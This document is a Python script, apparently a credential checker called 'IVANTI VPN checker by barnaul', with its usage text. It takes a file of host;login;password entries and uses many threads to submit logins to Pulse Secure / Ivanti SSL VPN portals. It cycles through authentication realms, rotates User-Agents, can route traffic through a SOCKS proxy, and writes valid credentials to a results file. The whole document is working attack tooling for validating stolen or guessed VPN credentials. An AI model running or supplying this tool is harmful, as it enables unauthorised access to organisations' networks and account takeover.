Checker Pulse Secure / Ivanti SSL VPN [ip;login;passw]

usage: proto_checker.py [-h] [-cf CREDS_FILE] [-t THREADS]

IVANTI VPN checker by barnaul

options:
-h, --help show this help message and exit
-cf CREDS_FILE Host-Creds file. Default: creds.txt
-t THREADS Threads number. Default: 1

import argparse
import sys
import time
from pathlib import Path
from queue import Queue
from threading import RLock, Thread, active_count

try:
    import requests
    from bs4 import BeautifulSoup
    from urllib3 import disable_warnings
    from user_agent import generate_user_agent
except ImportError as err:
    print(f'[-] {err}:\n\tcmd> pip install -r requirements.txt')
    sys.exit(input('Press Enter to exit...'))


LOCK = RLock()
Q_CREDS = Queue()
PATH = Path(__file__).parent
RES_DIR = PATH.joinpath('RESULTS')
Path.mkdir(RES_DIR, exist_ok=True)
disable_warnings()


class BadLoginPage(Exception):
    pass


class IvantiChecker:

    WELCM = '/dana-na/auth/url_default/welcome.cgi'
    LOGIN = '/dana-na/auth/url_default/login.cgi'

    def __init__(self, host, proxy=None):
        host = host.split('/dana-na')[0]
        self.host = host if '://' in host \
            else 'https://' + host

        self.sess = requests.Session()
        self.sess.verify = False
        self.change_identity(proxy)

    def change_identity(self, proxy=None):
        self.sess.headers.update({
            'User-Agent': generate_user_agent()
        })

        self.sess.proxies = {
            'http': 'socks5://' + proxy,
            'https': 'socks5://' + proxy,
        } if proxy else {}

    def is_available(self):
        try:
            self.sess.get(self.host + self.WELCM)
            return True
        except:
            return False

    def _check_login_page(self):
        resp = self.sess.get(self.host + self.WELCM)

        err_text = None
        if not any((
            'id="frmLogin' in resp.text,
            'action="login.cgi"' in resp.text,
        )):
            err_text = 'Login Form not found'
        if 'do not have permission to login' in resp.text:
            err_text = 'Not Have Permission to Login'
        if '/dana-na/setup/psaldownload.cgi' in resp.url:
            err_text = 'Update Helper Required'
        if 'PleaseWait' in resp.text:
            err_text = 'Please Wait'

        if err_text:
            raise BadLoginPage(err_text)

        return resp

    def _check_login_resp(self, resp):
        if any((
            resp.cookies.get('id'),
            '?p=user-confirm' in resp.url,
            '/dana/home' in resp.url,
            '?p=sn-postauth-show' in resp.url,
            'p=passwordChange' in resp.url,
        )):
            return 'valid'

        if any((
            '?p=failed' in resp.url,
        )):
            return 'invalid'

        if '?p=ip-blocked' in resp.url:
            return 'blocked'

        return 'unknown'

    def login(self, username, password):
        resp = self._check_login_page()
        soup = BeautifulSoup(resp.text, 'html.parser')

        form_el = soup.find('form', {'name':'frmLogin'})
        if not form_el:
            raise BadLoginPage('Login Form not found')

        inputs = form_el.select('input')
        post_data = {
            inp.get('name'):inp.get('value', '')
            for inp in inputs
        }

        realm_el = form_el.find(
            'select', {'name':'realm'}
        ) or form_el.find(
            'input', {'name':'realm'}
        )

        if realm_el.name == 'input':
            realms = [realm_el.get('value', '')]

        if realm_el.name == 'select':
            options = realm_el.select('option')
            realms = [r.get('value', '') for r in options]

        post_data['username'] = username
        post_data['password'] = password
        for realm in realms:
            post_data['realm'] = realm
            resp = self.sess.post(
                self.host + self.LOGIN,
                data=post_data,
            )
            status = self._check_login_resp(resp)
            if status == 'valid':
                break

        return status


def worker():
    while not Q_CREDS.empty():
        cred = Q_CREDS.get()
        host, username, password = cred.split(';')

        client = IvantiChecker(host)
        if not client.is_available():
            msg(f'[-] {host} - unavailable')
            save_results('unavailable.txt', host)
            continue

        try:
            status = client.login(username, password)
        except BadLoginPage as err:
            msg(f'[-] {cred} - bad login page - {err}')
            save_results('bad_login_page.txt', f'{cred} - {err}')
            continue
        except Exception as err:
            msg(f'[-] {cred} - login error - {err}')
            save_results('errors_log.txt', f'{cred} - {err}')
            continue

        pref = '[+]' if status == 'valid' else '[-]'
        msg(f'{pref} {cred} - {status.upper()}')
        save_results(f'{status}.txt', f'{cred}')


def msg(string):
    with LOCK:
        print(string)


def save_results(filename, data):
    with open(f'{RES_DIR.joinpath(filename)}', 'a') as f:
        f.write(data + '\n')


def read_file(filename):
    with open(filename, 'r') as f:
        return {
            line.rstrip() for line in f
            if line.rstrip()
        }


def get_args():
    parser = argparse.ArgumentParser(
        description='IVANTI VPN checker by barnaul'
    )

    parser.add_argument(
        '-cf',
        dest='creds_file',
        default='creds.txt',
        help='Host-Creds file. Default: %(default)s')

    parser.add_argument(
        '-t',
        dest='threads',
        type=int,
        default=1,
        help='Threads number. Default: %(default)s')

    return parser.parse_args()


def main():
    args = get_args()
    creds_file = PATH / args.creds_file
    if not creds_file.exists():
        print(f'[-] File not found: {creds_file}')
        sys.exit(input('Press Enter to exit...'))

    for cred in read_file(creds_file):
        if cred.count(';') != 2:
            print(f'[-] Wrong creds format: {cred}')
            continue
        Q_CREDS.put(cred)

    for _ in range(args.threads):
        t = Thread(
            target=worker,
            daemon=True,
        ).start()

    try:
        while active_count() > 1:
            time.sleep(1)
        print('[~] All tasks done')
    except KeyboardInterrupt:
        sys.exit('[~] Exit...')


if __name__ == '__main__':
    main()